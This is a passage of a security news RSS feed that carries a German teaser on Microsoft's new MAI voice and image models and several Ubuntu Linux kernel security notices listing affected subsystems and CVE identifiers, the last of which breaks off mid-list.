<guid isPermaLink="true">https://tsecurity.de/de/3691564/it-nachrichten/kuenstliche-intelligenz-microsoft-ai-fuehrt-zwei-neue-ki-modelle-ein/</guid>
<pubDate>Fri, 24 Jul 2026 14:52:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img src="https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1.jpg" class="attachment-single-thumb size-single-thumb wp-post-image" alt="MAI-Image-1 Bildgenerator" decoding="async" fetchpriority="high" srcset="https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1.jpg 719w, https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1-300x150.jpg 300w, https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1-643x322.jpg 643w" sizes="(max-width: 719px) 100vw, 719px"></div>
<p>Microsoft baut die Verwendung der hauseigenen MAI-Modelle weiter aus. Wie die Kollegen von Thurrott berichten, wird das Sprachmodell MAI-Voice-2-Flash nun flächendeckend in Azure Voice Live sowie Dynamics 365 Contact Center verwendet. Wichtiger ist allerdings das neue Bildmodell MAI-Image-2.5-Pro, welches in Produkte von Microsoft 365 einzieht und in einem Fall die Abhängigkeit von OpenAI beendet. Demnach […]</p>
<p>Der Beitrag <a href="https://www.drwindows.de/news/kuenstliche-intelligenz-microsoft-ai-fuehrt-zwei-neue-ki-modelle-ein">Künstliche Intelligenz: Microsoft AI führt zwei neue KI-Modelle ein</a> erschien zuerst auf <a href="https://www.drwindows.de/news">Dr. Windows</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die wichtigsten News der Kalenderwoche 30/2026: KI, Data und mehr - Microsoft]]></title>
<description><![CDATA[Einige Tools und Techniken zur Absicherung von Windows Server (engl.) ... Microsoft KI Microsoft Security Azure Dynamics 365 Microsoft 365 Microsoft 365 ...]]></description>
<link>https://tsecurity.de/de/3691558/windows-server/die-wichtigsten-news-der-kalenderwoche-302026-ki-data-und-mehr-microsoft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691558/windows-server/die-wichtigsten-news-der-kalenderwoche-302026-ki-data-und-mehr-microsoft/</guid>
<pubDate>Fri, 24 Jul 2026 14:48:15 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Einige Tools und Techniken zur Absicherung von <b>Windows Server</b> (engl.) ... Microsoft KI Microsoft Security Azure Dynamics 365 Microsoft 365 Microsoft 365 ...]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8604-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic AP...]]></description>
<link>https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23079,
CVE-2026-23080, CVE-2026-23081, CVE-2026-23083, CVE-2026-23084,
CVE-2026-23085, CVE-2026-23086, CVE-2026-23087, CVE-2026-23088,
CVE-2026-23089, CVE-2026-23090, CVE-2026-23092, CVE-2026-23093,
CVE-2026-23094, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097,
CVE-2026-23098, CVE-2026-23099, CVE-2026-23100, CVE-2026-23101,
CVE-2026-23102, CVE-2026-23103, CVE-2026-23104, CVE-2026-23105,
CVE-2026-23106, CVE-2026-23107, CVE-2026-23108, CVE-2026-23109,
CVE-2026-23110, CVE-2026-23113, CVE-2026-23114, CVE-2026-23115,
CVE-2026-23116, CVE-2026-23118, CVE-2026-23119, CVE-2026-23120,
CVE-2026-23121, CVE-2026-23122, CVE-2026-23123, CVE-2026-23124,
CVE-2026-23125, CVE-2026-23126, CVE-2026-23128, CVE-2026-23129,
CVE-2026-23130, CVE-2026-23131, CVE-2026-23133, CVE-2026-23135,
CVE-2026-23136, CVE-2026-23137, CVE-2026-23138, CVE-2026-23139,
CVE-2026-23140, CVE-2026-23141, CVE-2026-23142, CVE-2026-23143,
CVE-2026-23144, CVE-2026-23145, CVE-2026-23146, CVE-2026-23147,
CVE-2026-23148, CVE-2026-23150, CVE-2026-23151, CVE-2026-23152,
CVE-2026-23154, CVE-2026-23156, CVE-2026-23157, CVE-2026-23158,
CVE-2026-23159, CVE-2026-23160, CVE-2026-23161, CVE-2026-23162,
CVE-2026-23163, CVE-2026-23164, CVE-2026-23165, CVE-2026-23166,
CVE-2026-23167, CVE-2026-23168, CVE-2026-23169, CVE-2026-23170,
CVE-2026-23171, CVE-2026-23172, CVE-2026-23173, CVE-2026-23212,
CVE-2026-23272, CVE-2026-23278, CVE-2026-23392, CVE-2026-23427,
CVE-2026-23428, CVE-2026-23450, CVE-2026-23455, CVE-2026-31402,
CVE-2026-31418, CVE-2026-31436, CVE-2026-31448, CVE-2026-31478,
CVE-2026-31607, CVE-2026-31635, CVE-2026-31637, CVE-2026-31649,
CVE-2026-31657, CVE-2026-31659, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31682, CVE-2026-31685, CVE-2026-31718, CVE-2026-43011,
CVE-2026-43037, CVE-2026-43038, CVE-2026-43071, CVE-2026-43083,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43125, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43197, CVE-2026-43304, CVE-2026-43341,
CVE-2026-43376, CVE-2026-43378, CVE-2026-43383, CVE-2026-43384,
CVE-2026-43402, CVE-2026-43406, CVE-2026-43407, CVE-2026-43414,
CVE-2026-43493, CVE-2026-43501, CVE-2026-45898, CVE-2026-45988,
CVE-2026-46039, CVE-2026-46043, CVE-2026-46084, CVE-2026-46115,
CVE-2026-46119, CVE-2026-46135, CVE-2026-46185, CVE-2026-46195,
CVE-2026-46243, CVE-2026-46244, CVE-2026-46266, CVE-2026-46289,
CVE-2026-46290, CVE-2026-46316, CVE-2026-46317, CVE-2026-46325,
CVE-2026-53277, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8605-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic AP...]]></description>
<link>https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:44 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23080,
CVE-2026-23081, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085,
CVE-2026-23086, CVE-2026-23087, CVE-2026-23088, CVE-2026-23089,
CVE-2026-23090, CVE-2026-23092, CVE-2026-23093, CVE-2026-23094,
CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098,
CVE-2026-23099, CVE-2026-23100, CVE-2026-23101, CVE-2026-23102,
CVE-2026-23103, CVE-2026-23104, CVE-2026-23105, CVE-2026-23106,
CVE-2026-23107, CVE-2026-23108, CVE-2026-23109, CVE-2026-23110,
CVE-2026-23113, CVE-2026-23114, CVE-2026-23115, CVE-2026-23116,
CVE-2026-23118, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121,
CVE-2026-23122, CVE-2026-23123, CVE-2026-23124, CVE-2026-23125,
CVE-2026-23126, CVE-2026-23128, CVE-2026-23129, CVE-2026-23130,
CVE-2026-23131, CVE-2026-23133, CVE-2026-23135, CVE-2026-23136,
CVE-2026-23137, CVE-2026-23138, CVE-2026-23139, CVE-2026-23140,
CVE-2026-23141, CVE-2026-23142, CVE-2026-23143, CVE-2026-23144,
CVE-2026-23145, CVE-2026-23146, CVE-2026-23147, CVE-2026-23148,
CVE-2026-23150, CVE-2026-23151, CVE-2026-23152, CVE-2026-23154,
CVE-2026-23156, CVE-2026-23157, CVE-2026-23158, CVE-2026-23159,
CVE-2026-23160, CVE-2026-23161, CVE-2026-23162, CVE-2026-23163,
CVE-2026-23164, CVE-2026-23165, CVE-2026-23166, CVE-2026-23167,
CVE-2026-23168, CVE-2026-23169, CVE-2026-23170, CVE-2026-23171,
CVE-2026-23172, CVE-2026-23173, CVE-2026-23212, CVE-2026-23272,
CVE-2026-23278, CVE-2026-23392, CVE-2026-23427, CVE-2026-23428,
CVE-2026-23450, CVE-2026-23455, CVE-2026-31402, CVE-2026-31418,
CVE-2026-31436, CVE-2026-31448, CVE-2026-31478, CVE-2026-31607,
CVE-2026-31635, CVE-2026-31637, CVE-2026-31649, CVE-2026-31657,
CVE-2026-31659, CVE-2026-31668, CVE-2026-31669, CVE-2026-31682,
CVE-2026-31685, CVE-2026-31718, CVE-2026-43011, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43071, CVE-2026-43083, CVE-2026-43114,
CVE-2026-43117, CVE-2026-43125, CVE-2026-43185, CVE-2026-43186,
CVE-2026-43197, CVE-2026-43304, CVE-2026-43341, CVE-2026-43376,
CVE-2026-43378, CVE-2026-43383, CVE-2026-43384, CVE-2026-43402,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43414, CVE-2026-43493,
CVE-2026-43501, CVE-2026-45898, CVE-2026-45988, CVE-2026-46039,
CVE-2026-46043, CVE-2026-46084, CVE-2026-46115, CVE-2026-46119,
CVE-2026-46135, CVE-2026-46185, CVE-2026-46195, CVE-2026-46243,
CVE-2026-46244, CVE-2026-46266, CVE-2026-46289, CVE-2026-46290,
CVE-2026-46316, CVE-2026-46317, CVE-2026-46325, CVE-2026-53277,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
